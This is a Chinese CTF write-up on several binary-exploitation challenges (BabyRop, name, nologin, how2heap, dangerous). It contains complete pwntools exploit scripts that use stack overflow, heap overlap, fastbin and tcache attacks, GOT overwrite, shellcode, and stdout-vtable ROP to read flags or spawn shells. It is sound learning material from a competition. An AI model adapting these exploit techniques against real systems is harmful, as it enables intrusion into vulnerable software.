Babyrop 栈溢出,先利用函数对bss段上/cin/sh异或成为/bin/sh,然后利用system执行system("/bin/sh")
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import *context(os='linux' , arch='i386' , log_level='debug' ) r = remote('192.168.38.235' , 11000 ) elf = ELF('./BabyRop' ) puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] sys_plt = elf.plt['system' ] fun2 = 0x080491FD main_addr = 0x0804926B payload = b'A' *0x28 +b'B' *0x4 payload+= p32(fun2)+p32(0x08049332 )+p32(0x0804C024 )+p32(1 )+p32(0x080491D6 )+p32(main_addr)+p32(0x0804C024 ) r.sendline(payload) r.interactive()
name 先申请一波chunk清理一下bin 利用残留的内容泄露堆地址和libc地址
构造chunka,b,c,伪造prevsize,利用off by null造成chunk overlap 然后利用fastbin attack配合在堆上伪造的size位造成对包含puts指针的chunk的overlap 修改puts指针指向setcontext+53,修改后面的chunk地址为计划填入frame的heap地址 利用SigreturnFrame生成frame填入对应的chunk 接着执行选项三进入setcontext,向fake_rsp读入shellcode最终执行orw
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 from pwn import *r = remote('192.168.38.235' ,9999 ) context(os='linux' , arch='amd64' , log_level='debug' ) elf = ELF('./name' ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) def set (size ): r.sendlineafter('5.exit\n' , str (1 )) r.sendlineafter('name size:\n' , str (size)) def edit (idx, ct ): r.sendlineafter('5.exit\n' , str (2 )) r.sendlineafter('index:\n' , str (idx)) r.sendafter('name:\n' , ct) def puts (idx ): r.sendlineafter('5.exit\n' , str (3 )) r.sendlineafter('index:\n' , str (idx)) def delete (idx ): r.sendlineafter('5.exit\n' , str (4 )) r.sendlineafter('index:\n' , str (idx)) for i in range (6 ): set (0x70 ) puts(0 ) heap_addr = u64(r.recv(6 ).ljust(8 ,'\x00' )) print 'heap_addr ===> ' , hex (heap_addr)puts(5 ) libc.address = u64(r.recv(6 ).ljust(8 ,'\x00' ))-312 -0x10 -libc.symbols['__malloc_hook' ] free_hook = libc.symbols['__free_hook' ] syscall = libc.symbols['syscall' ]+23 print hex (libc.address)set (0xa8 )set (0x58 )set (0xf8 )set (0x100 )delete(6 ) edit(7 , 'A' *0x50 +p64(0x110 )) delete(8 ) set (0x100 ) delete(7 ) taraddr = heap_addr-0x130 fakeframe = heap_addr+0x7c0 +0x10 edit(6 , 'A' *0xa8 +p64(0x60 )+p64(taraddr)) edit(0 , 'Z' *0x60 +p64(0 )+p64(0x61 )) set (0x50 )set (0x50 )edit(8 , p64(0 )+p64(0x21 )+p64(libc.symbols['setcontext' ]+53 )+p64(fakeframe)) fake_rsp = free_hook&0xfffffffffffff000 frame = SigreturnFrame() frame.rax=0 frame.rdi=0 frame.rsi=fake_rsp frame.rdx=0x2000 frame.rsp=fake_rsp frame.rip=syscall print hex (len (frame))edit(9 , str (frame)) puts(1 ) prdi_ret = libc.search(asm("pop rdi\nret" )).next () prsi_ret = libc.search(asm("pop rsi\nret" )).next () prdx_ret = libc.search(asm("pop rdx\nret" )).next () prax_ret = libc.search(asm("pop rax\nret" )).next () jmp_rsp = libc.search(asm("jmp rsp" )).next () mprotect_addr = libc.sym['mprotect' ] payload = p64(prdi_ret)+p64(fake_rsp) payload += p64(prsi_ret)+p64(0x1000 ) payload += p64(prdx_ret)+p64(7 ) payload += p64(prax_ret)+p64(10 ) payload += p64(syscall) payload += p64(jmp_rsp) payload += asm(shellcraft.open ('flag' )) payload += asm(shellcraft.read(3 ,fake_rsp+0x300 ,0x30 )) payload += asm(shellcraft.write(1 ,fake_rsp+0x300 ,0x30 )) r.send(payload) r.interactive()
nologin 直接进入admin进行栈溢出 栈上布置两段shellcode,返回地址写jmp rsp往下执行,清零rax以后再用jmp $-0x16往上跳转 布置好rdx以后直接syscall就能从更低地址处开始读入数据
控制好偏移再在第三段shellcode前面填充nop滑行,最终执行orw读出flag
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 from pwn import *context(os='linux' , arch='amd64' , log_level='debug' ) r = remote('192.168.38.235' ,40001 ) libc = ELF('./libc.so.6' ) main_addr = 0x40106B jmp_rsp = 0x4016fb shell = ''' xor rax, rax jmp $-0x16 ''' shell2=''' push 0x200 pop rdx syscall ''' payload = 'AA' +asm(shell2).ljust(11 , 'A' )+p64(jmp_rsp)+asm(shell) r.recvuntil('input>> \n' ) r.sendline('2' ) r.recvuntil('>password: \n' ) r.sendline(payload) print len (asm(shell))shell3 = ''' nop nop nop nop nop nop nop push 0x67616c66 mov rdi, rsp xor rsi, rsi xor rdx, rdx mov rax, 2 syscall mov rdi, 4 mov rsi, rsp push 0x50 pop rdx xor rax, rax syscall push 1 pop rax push 1 pop rdi mov rsi, rsp push 0x50 pop rdx syscall ''' pay = 'A' *0x2e +asm(shell3) sleep(0.5 ) r.send(pay) r.interactive()
how2heap 没做出来,复现学习一下 感觉解法还是挺有意思的
题目 add 1 2 3 4 5 6 7 8 9 10 11 12 13 14 ssize_t add () { unsigned __int64 v0; if ( chunk_max_id > 47 ) return write(1 , "no more data.\n" , 0xF uLL); ++chunk_max_id; v0 = malloc (0x14 uLL); mprotect((v0 & 0xFFFFFFFFFFFFF000 LL), 0x1000 uLL, 7 ); write(1 , "content: " , 9uLL ); *(v0 + 16 ) = read(0 , v0, 0x10 uLL); *(&ptr + chunk_max_id) = v0; return write(1 , "create successfully.\n" , 0x15 uLL); }
最多申请49个(下标48) 申请的每个chunk大小固定为0x14 可读入字节0x10 第0x11个字节处 每次申请全局变量num++ 修改heap为rwx
get 输出内容 索引的时候使用了一个函数用来计算,暂记为wired_func
del 删除 同样使用了wired_func来对输入的数字进行一个转换 然后free指针,全局变量num— 最后会将被删除指针后面的指针向前移动一位,直到用下标47的指针覆盖下标46的指针后退出
也就是说当下标47有指针时,对46及以前的指针进行del操作,46和47处会有两个相同的指针
wired_func 分析一下这个wired function。正常来说读取一个数字比较常见是atoi转换了,这里自己写了一个来实现,八成是有点问题,当时也是觉得有点问题给这个地方命名wired。结果最后凌晨一点多重新开始看这题最后也没看出来,和mark一起都在研究怎么打fastbin。。。还是太菜了呃
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 __int64 sub_4008F0 () { char *v0; int v1; __int64 result; char vars0; char vars1; char varsA[14 ]; unsigned __int64 vars18; vars18 = __readfsqword(0x28 u); v0 = &vars0; while ( 1 ) { read(0 , v0, 1uLL ); if ( *v0 == 10 ) break ; if ( varsA == ++v0 ) { v0 = varsA; break ; } } *v0 = 0 ; v1 = vars0; if ( !vars0 ) return 0LL ; if ( (vars0 - 48 ) > 9u ) { LABEL_11: write(1 , "Invalid input.\n" , 0xF uLL); result = 0xFFFFFFFF LL; } else { LODWORD(result) = 0 ; while ( 1 ) { result = (v1 + 10 * result - 48 ); v1 = vars1; if ( !vars1 ) break ; if ( (vars1 - 48 ) > 9u ) goto LABEL_11; } } return result; }
1 2 3 4 .text:0000000000400964 lea eax, [rax+rax*4] .text:0000000000400967 lea eax, [rdx+rax*2-30h] #result = (v1 + 10 * result - 48);
其实逻辑也很简单,对输入的字符逐位计算进行加和,最终返回结果 由于从汇编可以看到对result变量的操作只使用了eax,所以是一个4字节有符号数,存在正溢出 ,当累加超过2147483647时,就会溢出成为-2147483648。继续累加到0xffffffff时,即为-1。
做法1 首先利用del中移位的不严谨造成存在两个相同指针,构造double free 然后将fd指向bss段上fake chunk处
接下来利用del函数中将输入转换为数字时发生的正溢出对上方的NULL进行free两次,造成记录chunk下标的数字前移,用来充当fake size。同时原本记录chunk下标的地方因为被移位一次之后为0,再移一次自减1,变成0xffffffff
然后利用fastbin attack控制记录chunk下标的数值,控制偏移,让下一次申请时让指针被写入malloc的got表处,并写入第一段shellcode。再一次申请时覆写mprotect的got表,并写入对应的第二段shellcode。这一次的申请会在malloc的时候执行第一段shellcode,但由于最后写了ret指令,不会造成程序的错乱。 最后再申请一次,就会连续执行两段shellcode了,看到了一种精妙的构造方法最终执行one_gadget。简单来说就是第一次返回时为了保持程序正常,第一次执行shellcode需要返回一个堆地址,这里选择让rax指向bss段的地址,然后ret来保持程序继续执行。第二次执行shellcode时r11指向了libc内地址,通过减法让r11指向one_gadget,并且清零rax从而满足one_gadget的条件,并call r11。最终再次申请执行one_gadget
exp1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 from pwn import *context(os='linux' , arch='amd64' , log_level='debug' ) r = process('./how2heap' ) elf = ELF('./how2heap' ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) def add (ct ): r.sendlineafter('> ' , str (1 )) r.sendafter('content: ' , ct) def get (idx ): r.sendlineafter('> ' , str (2 )) r.sendlineafter('id: ' , str (idx)) def delete (idx ): r.sendlineafter('> ' , str (3 )) r.sendlineafter('id: ' , str (idx)) for i in range (49 ): add('A' *8 ) for i in range (15 ): delete(0 ) delete(33 ) get(32 ) heap_addr = u64(r.recvuntil('\x00' )[:-1 ].ljust(8 ,'\x00' )) print hex (heap_addr)delete(0 ) delete(31 ) add(p64(0x602088 )) add('B' ) add('B' ) delete(0xffffffff -0xb ) delete(0xffffffff -0xb ) shell1=''' push 0x6020c0 pop rax ret nop ''' add(asm(shell1)+p32(0xffffffff -0xe )) shell2=''' push 0x1324ba pop rbx // r11: a libc address // rbx: the offset to one gadget from r11 sub r11, rbx // one gadget condition xor rax, rax call r11 ''' add(asm(shell2)) r.recv() r.sendline('1' ) r.interactive()
做法2 学长的做法,fastbin attack打chunkid,写入伪造的id。然后负索引,free空指针,fake id前移。再次add,chunk指针写入got表,最终构造shellcode从而getshell。
总结 总的来说这一题的核心思想有三点:
函数正溢出
利用正溢,负索引free空指针,造成记录chunk下标的变量被前移
覆写got表执行shellcode
dangerous 题目 做不出来的题 程序本身比较简单,有一次uaf,输入的内容过滤了字符7f 7e 55 56,开沙箱禁用execve。
做法1(打stdout) 前期考虑house of botcake控制tcache struct,通过partial overwrite将chunk指向fd为main_arena+96地址处的chunk,申请一次,libc地址就能出现在tcache链表头部,然后再次partial overwrite就能完成任意地址申请。(存在1/16爆破)
之后需要考虑如何绕过沙箱又不输入禁用字符,也就不存在改freehook为setcontext这种方法了。
这里要感谢大师傅cnitlrt ,要到了师傅的exp学习了一下,师傅太强了
第一步控制_IO_file_jumps,partial overwrite修改_IO_overflow为gets。执行puts时,会执行vtable中的_IO_overflow来刷新缓冲区,此时rdi指向stdout,从而控制了stdout结构体及其后的内容。
第二步控制stdout结构体,控制其vtable指向后面伪造的vtable,并在其后布置用来栈迁移rop的部分,最后伪造vtable。 程序执行到puts时会执行fake vtable中的_IO_sputn,而此时相应偏移处被我们修改为一处gadget,实际执行了
1 2 3 4 5 6 0x7ffff7f1ad8a <svcudp_reply+26>: mov rbp,QWORD PTR [rdi+0x48] 0x7ffff7f1ad8e <svcudp_reply+30>: mov rax,QWORD PTR [rbp+0x18] 0x7ffff7f1ad92 <svcudp_reply+34>: lea r13,[rbp+0x10] 0x7ffff7f1ad96 <svcudp_reply+38>: mov DWORD PTR [rbp+0x10],0x0 0x7ffff7f1ad9d <svcudp_reply+45>: mov rdi,r13 0x7ffff7f1ada0 <svcudp_reply+48>: call QWORD PTR [rax+0x28]
此时1 2 3 4 5 6 7 8 9 10 11 12 RDI 0x7ffff7faf6a0 (_IO_2_1_stdout_) ◂— 0xfbad1887 pwndbg> x/gx $rdi +0x48 0x7ffff7faf6e8 <_IO_2_1_stdout_+72>: 0x00007ffff7faf7a0 #rbp pwndbg> x/gx 0x00007ffff7faf7a0+0x18 0x7ffff7faf7b8 <__elf_set___libc_subfreeres_element_free_mem__>: 0x00007ffff7faf7a0 #rax pwndbg> x/gx 0x00007ffff7faf7a0+0x28 0x7ffff7faf7c8 <__elf_set___libc_subfreeres_element_free_mem__>: 0x00007ffff7e1da48 #rax+0x28 pwndbg> x/2i 0x00007ffff7e1da48 0x7ffff7e1da48 <__mpn_mul_n+168>: leave 0x7ffff7e1da49 <__mpn_mul_n+169>: ret
而0x00007ffff7faf7a0正是我们布置rop的地方 所以这里会根据rdi分别对rbp和rax赋值,然后call指令将执行leave;ret完成栈迁移并开始rop
rop部分 因为前面gadget的使用,在当前栈中有一处指向leave;ret的地址,所以首先用一些pop指令把其pop掉。之后就可以进行rop完成orw了 (构造过程一些无关地址原值填回就好)
exp1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 from pwn import *context(os='linux' , arch='amd64' , log_level='debug' ) r = process('./dangerous' ) elf = ELF('./dangerous' ) libc = ELF('./libc.so.6' ) def add (sz, ct ): r.sendlineafter('Your choice >> ' , str (1 )) r.sendlineafter('Well,please input your size:\n' , str (sz)) r.sendafter('Please input your content:\n' , ct) def delete (idx ): r.sendlineafter('Your choice >> ' , str (2 )) r.sendlineafter('Please input the index you want to delete:\n' , str (idx)) def show (idx ): r.sendlineafter('Your choice >> ' , str (3 )) r.sendlineafter('Please input the index you want to see:\n' , str (idx)) def magic (idx ): r.sendlineafter('Your choice >> ' , str (666 )) r.sendlineafter('Please input the index:\n' , str (idx)) for i in range (7 ): add(0x60 , 'A' *0xb0 ) for i in range (7 ): delete(i) for i in range (7 ): add(0xb0 , 'A' *0xb0 ) for i in range (7 ): delete(i) for i in range (9 ): add(0xa0 , 'A' *0xa0 ) for i in range (7 ): delete(8 -i) delete(0 ) magic(1 ) for i in range (8 ): add(0xa0 , 'B' *0xa0 ) show(1 ) r.recvuntil('content:\n' ) libc.address = u64(r.recv(6 ).ljust(8 ,b'\x00' ))-96 -0x10 -libc.symbols['__malloc_hook' ] free_hook = libc.symbols['__free_hook' ] setcontext = libc.symbols['setcontext' ]+61 syscall = libc.symbols['syscall' ] delete(0 ) add(0xb0 , 'Z' *0xb0 ) for i in range (6 ): delete(2 +i) delete(8 ) add(0xa0 , b'A' ) delete(1 ) add(0x100 , b'A' *0xa0 +p64(0xb0 )+p64(0xb1 )+b'\xa0\x30' ) add(0xa0 , b'A' ) add(0xa0 , p64(0 )+p64(0x71 )+p64(0 )+b'\xb0\x30' ) add(0x60 , p64(0 )*6 +b'\x00\x3c' ) add(0xb0 , 'A' ) delete(5 ) filejumps = libc.symbols['_IO_file_jumps' ] gets = libc.symbols['gets' ] add(0x60 , p64(0 )*6 +p32(filejumps&0xffffffff )) add(0xb0 , p64(0 )*3 +p32(gets&0xffffffff )) magic_gadgets = 0x0000000000157d8a +libc.address poprdi = 0x0000000000026b72 +libc.address poprsi = 0x0000000000027529 + libc.address ret_addr = 0x0000000000058811 + libc.address poprsp = 0x0000000000032b5a +libc.address poprax = 0x000000000004a550 +libc.address syscall = 0x0000000000066229 +libc.address leaver = libc.address + 0x000000000005aa48 pop5r = 0x00000000000440d7 +libc.address pop2r = 0x000000000011c371 +libc.address ROP = b'flag\x00\x00\x00\x00' ROP += p64(pop5r) ROP += p64(0 ) ROP += p64(libc.address + 0x1ec7a0 ) ROP += p64(0 ) ROP += p64(leaver) ROP += p64(0 ) ROP += p64(pop2r) ROP += p64(0x100 ) ROP += p64(libc.address + 0x1ec7a0 ) ROP += p64(poprdi) + p64(0x1ec7a0 +libc.address) ROP += p64(poprsi) + p64(0 ) ROP += p64(poprax) + p64(0x2 ) ROP += p64(syscall) ROP += p64(poprdi) + p64(3 ) ROP += p64(poprsi) + p64(libc.address + 0x1ec7a0 ) ROP += p64(poprax) ROP += p64(0 ) ROP += p64(syscall) ROP += p64(poprdi) ROP += p64(0x1 ) ROP += p64(poprax) ROP += p64(1 ) ROP += p64(syscall) rop = p64(0xfbad1887 ) rop = rop.ljust(0x18 ,b"\x00" ) rop += p64(libc.address + 0x1ec7a0 ) rop += p64(leaver) rop = rop.ljust(0x48 ,b"\x00" ) rop += p64(libc.address + 0x1ec7a0 ) payload = p64(0 )*3 payload += p64(0x1eb980 +libc.address) payload += p64(1 ) payload += p64(0xffffffffffffffff ) payload += p64(0x0000000000000000 ) payload += p64(0x1ee4c0 +libc.address) payload += p64(0xffffffffffffffff ) payload += p64(0 ) payload += p64(0x1eb880 +libc.address) payload += p64(0 )*3 +p64(0x00000000ffffffff ) payload += p64(0 )*2 payload += p64(libc.address+0x1ec8a0 ) payload += p64(0x1ec5c0 +libc.address) payload += p64(0x1ec6a0 +libc.address) payload += p64(0x1eb980 +libc.address) payload += p64(0x27400 +libc.address) payload += ROP payload += p64(0 )*5 payload += p64(0 )*5 payload += p64(magic_gadgets) sleep(0.1 ) success("!!!!!!!!!!!!!!!!!!!!!!!!!!" ) r.sendline(rop + payload) r.interactive()
做法2(打栈) 官方wp做法 前期方法差不多,劫持tcache struct后造出能够多次申请任意地址的chunk,首先利用stdout泄露基址,然后把程序唯一的一次show留给environ泄露栈地址。
程序add函数如下
可以看到其实是先read了,然后再逐字节检查,同时使用的idx变量位于栈上。所以考虑的是向栈上写入数据覆盖掉idx使检查失效(修改idx,实际上检查到别的chunk去了),然后rop执行orw。刚好add函数中没有canary,方便了利用。
(这里我为了节省空间就直接用sendfile读了)
exp2 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 from pwn import *context(os='linux' , arch='amd64' , log_level='debug' ) r = process('./dangerous' ) elf = ELF('./dangerous' ) libc = ELF('./libc.so.6' ) def add (sz, ct ): r.sendlineafter('Your choice >> ' , str (1 )) r.sendlineafter('Well,please input your size:' , str (sz)) r.sendafter('Please input your content:' , ct) def delete (idx ): r.sendlineafter('Your choice >> ' , str (2 )) r.sendlineafter('Please input the index you want to delete:' , str (idx)) def show (idx ): r.sendlineafter('Your choice >> ' , str (3 )) r.sendlineafter('Please input the index you want to see:' , str (idx)) def magic (idx ): r.sendlineafter('Your choice >> ' , str (666 )) r.sendlineafter('Please input the index:' , str (idx)) for i in range (7 ): add(0x60 , 'A' *0xb0 ) for i in range (7 ): delete(i) for i in range (7 ): add(0xb0 , 'A' *0xb0 ) for i in range (7 ): delete(i) for i in range (9 ): add(0xa0 , 'A' *0xa0 ) for i in range (7 ): delete(8 -i) delete(0 ) magic(1 ) for i in range (8 ): add(0xa0 , 'B' *0xa0 ) delete(0 ) add(0xb0 , 'Z' *0xb0 ) for i in range (6 ): delete(2 +i) delete(8 ) add(0xa0 , b'A' ) delete(1 ) add(0x100 , b'A' *0xa0 +p64(0xb0 )+p64(0xb1 )+b'\xa0\x30' ) add(0xa0 , b'A' ) add(0xa0 , p64(0 )+p64(0x71 )+p64(0 )+b'\xb0\x30' ) add(0x60 , p64(0 )*6 +b'\x00\x3c' ) add(0xb0 , 'A' ) delete(5 ) add(0x60 , p64(0 )*6 +b'\xa0\xf6' ) add(0xb0 , p64(0xfbad1800 )+p64(0 )*3 +b'\x00' ) libc.address = u64(r.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' ))-0x1eb980 environ = libc.symbols['environ' ] print (hex (libc.address))delete(0 ) delete(5 ) add(0x60 , p64(0 )*6 +b'\x00\x3c' ) add(0xb0 , 'A' *0xb0 ) delete(0 ) add(0x60 , p64(0 )*6 +p32(environ&0xffffffff )) add(0xb0 , b'\x88' ) show(8 ) stack = u64(r.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' ))-0x148 delete(0 ) delete(1 ) add(0x60 , p64(0 )*6 +p32(stack&0xffffffff )) prdi_r = libc.address+0x0000000000026b72 prsi_r = libc.address+0x0000000000027529 prdx_r12_r = libc.address+0x000000000011c371 prax_r = libc.address+0x000000000004a550 prcx_r = libc.address+0x000000000009f822 openA = libc.symbols['open' ] sendfile = libc.symbols['sendfile' ] rop = p64(prdi_r)+p64(stack+0x20 ) rop+= p64(prsi_r)+p64(0 ) rop+= p64(openA) rop+= p64(prdi_r)+p64(1 ) rop+= p64(prsi_r)+p64(3 ) rop+= p64(prdx_r12_r)+p64(0 )+p64(0 ) rop+= p64(prcx_r)+p64(0x100 ) rop+= p64(sendfile) add(0xb0 , p32(0 )+p32(5 )+p64(0 )*3 +b'flag\x00\x00\x00\x00' +rop) r.interactive()
roco 看不懂的又一题
自制了一套堆管理方式 利用堆管理中切割时的不严谨最终劫持_rtld_global,setcontextorw读出flag
题目 catch 最多拿5个pet
1.miao { size/hp = 0x108 attack = 16 height = 0x40000000 weight = 1120403456 } 2.fire { size/hp = 0xB8; attack = 32; height = 1071225242; weight = 1119158272; } 3.shuilanlan{ size/hp = 0x88; attack = 48; height = 1070386381; weight = 1118502912; } 4.babypet{ 自定义size(0~0x50) size/hp atttack=0 height = 1069547520; weight = 1108266189; }
申请0x10大小空间{ height|size|weight|attack (一个4字节) } 再申请一个size大小空间作为information,read读入
一个pet结构体如下1 2 3 4 5 6 typedef struct {float height;int hp;float weight;int attack;}pet;
release 释放两个chunk并清零
change 重新输入information,无溢出
自制堆管理解解析 一个chunk的结构如下:1 2 --- --- --- ---- ---- --- ---- -----
1 2 3 4 5 6 struct chunk { uint32_t prev_size; uint32_t size; struct chunk *fd ; struct chunk *bk ; };
前四字节记为use位,有三个功能:
最低一个字节为1时表示当前chunk处于use状态
最低一个字节为2时表示上一个chunk处于use状态
当上一个chunk处于super large bin中时,该位置记录上一个chunk的大小,即prevsize
第二个四字节数据记录当前chunk的size
空闲堆块由三种bin进行管理(乱命的名):small bin:
size<=0xf8进入
链表方式实现的队列,先进先出,记录头尾节点
每8字节为一个idx
large bin:
0xf8<size<=0x1f8进入
只记录头节点,即第一个进入bin中的chunk
bin内部使用循环链表管理,头节点的bk指向最新插入的chunk,最新插入的chunk的fd指回头节点。每次插入都利用记录的头节点索引到最后一个chunk,然后将插入的chunk链入链表中
当large bin中只有一个chunk时,其fd和bk指向自己
每8字节为一个idx
super large bin:
size>0x1f8进入
记录了一个头节点,内部循环链表进行管理
头节点已经记录了一个空的节点,相当于bin中已经有了一个假chunk,后续的插入直接进行链接
链入新chunk的方式与large bin相同
当申请chunk找到super large bin时可以发生切割,类unsorted bin
当发现物理相邻的上一个chunk处于空闲时可以发生合并
safe_free 开头有两个check
通过chunk的insue位验证当前chunk是否处于使用中,否则报错already free并exit
判断chunk的size是否大于最小size0x18,否则报错size error并exit
然后清空数据区域,更新use位size<0xf8放进small binsize>0xf8 && size<0x1f8放进large binsize>0x1f8放进super large bin。放进super large bin时还会索引到物理相邻的下一个chunk更新其use位和prevsize位,指示上一个chunk处于空闲并记录大小
vul_alloc size>=0且size<=rest_size时,正常进入 首先对size做一个对齐操作,小于0x10的记作0x18,否则向上对齐8字节作为chunk size 然后进入以下分支:chunk size>0xf8且chunk size<=0x1f8 :
如果对应idx的large bin中有chunk,则取出
检查chunk地址和其chunk头的合法性
如果该chunk的fd指向自己,表明其为最后一块large bin,检查bk是否也指向自己
确认取出chunk
chunk size<0xf8 :
如果对应idx的small bin中有chunk,取出
检查chunk地址和chunk头合法性
确认取出,更新链表
chunk size>0x1f8 或 在smal bin和large bin中找不到合适的chunk : 进入super large bin进行查找
首先一个for循环遍历整个super large bin,如果发现size恰好合适的直接取出,更新chunk头信息,更新下一个chunk的prevsize
如果找了一圈回到原点(循环链表),说明都没有恰好合适的chunk,开始考虑切割大chunk
重新对整个super large bin进行遍历,从头结点开始以fd索引,直到找到一个更大的chunk,其size减去申请的size大于等于最小size0x18。取出该chunk
检查chunk地址和chunk头
检查链表的局部完整性
开始切割,更新切割后的chunk头信息
更新原物理相邻的下一个chunk的prevsize
更新循环链表,卸下原本的chunk,链入切割后剩下的chunk
更新取出chunk的size位
到这里如果确认能够取出chunk,在清空数据区和更新chunk的inuse位后返回指针结束
如果super large bin都无法满足 : 进行类似top chunk的分配
从准备好的内存中分配相应大小的chunk
更新rest size
设置chunk头
返回指针
漏洞 漏洞出现在对进入super large bin进行切割的判断语句的不严谨
chunk size数据类型为unsigned int,其他参与计算的为int。当计算式中出现unsigned int,最终比较的结果就会按照无符号数进行运算 所以当前面chunk size > i->size时,左边会变成一个很大的数,从而通过验证进入切割,最终造成chunk的重叠
做法 菜鸡如我只能理解一下出题人是怎么做的了
打怪 整个程序能够出现super large bin的只有存放boss信息的chunk,打掉才可能触发漏洞
泄露基址 打完怪,其chunk被放进了super large bin,然后经过不该发生的切割,super large bin被切割后的fd和bk落到了正常chunk的数据区域,然后利用show即可泄露基址 不过这里的基址分别落到两个四字节数据上,前一个被以%f单精度形式解析打印,后一个以%d整形打印。接收数据后拼接一下可以得到基址
super large bin attack 刚才切割还造成了0x7fff落到了指定informationchunk的size上,也就造成了堆溢出 利用溢出修复刚才切割破坏的chunk结构,改切割剩下的、位于super large bin中的chunk的size为0x1000,改其fd指向_rtld_global-0x10,再溢出后面一个0xc0大小的chunk,改size为0x200
接下来删除size被改为0x200的chunk,程序会把它链入super large bin中 注意到此时super large bin中只有刚才切割剩下的chunk,其fd被修改指向_rtld_global-0x10。链入循环链表的过程中,索引到该chunk,然后执行1 last_super_large->fd->bk = chunk_ptr;
这一步也就把大小为0x200的chunk的地址写入了_rtld_global结构体指针处
house of banana 上一步已经劫持了_rtld_global指针 应用house of banana,就不细说了,因为我还没完全搞明白。。
总之最终控制函数指针,利用两条指令,上一条ret返回刚好布置了rdx 下一条使用setcontext读入并rop最后orw读出flag
详细exp请看官方wp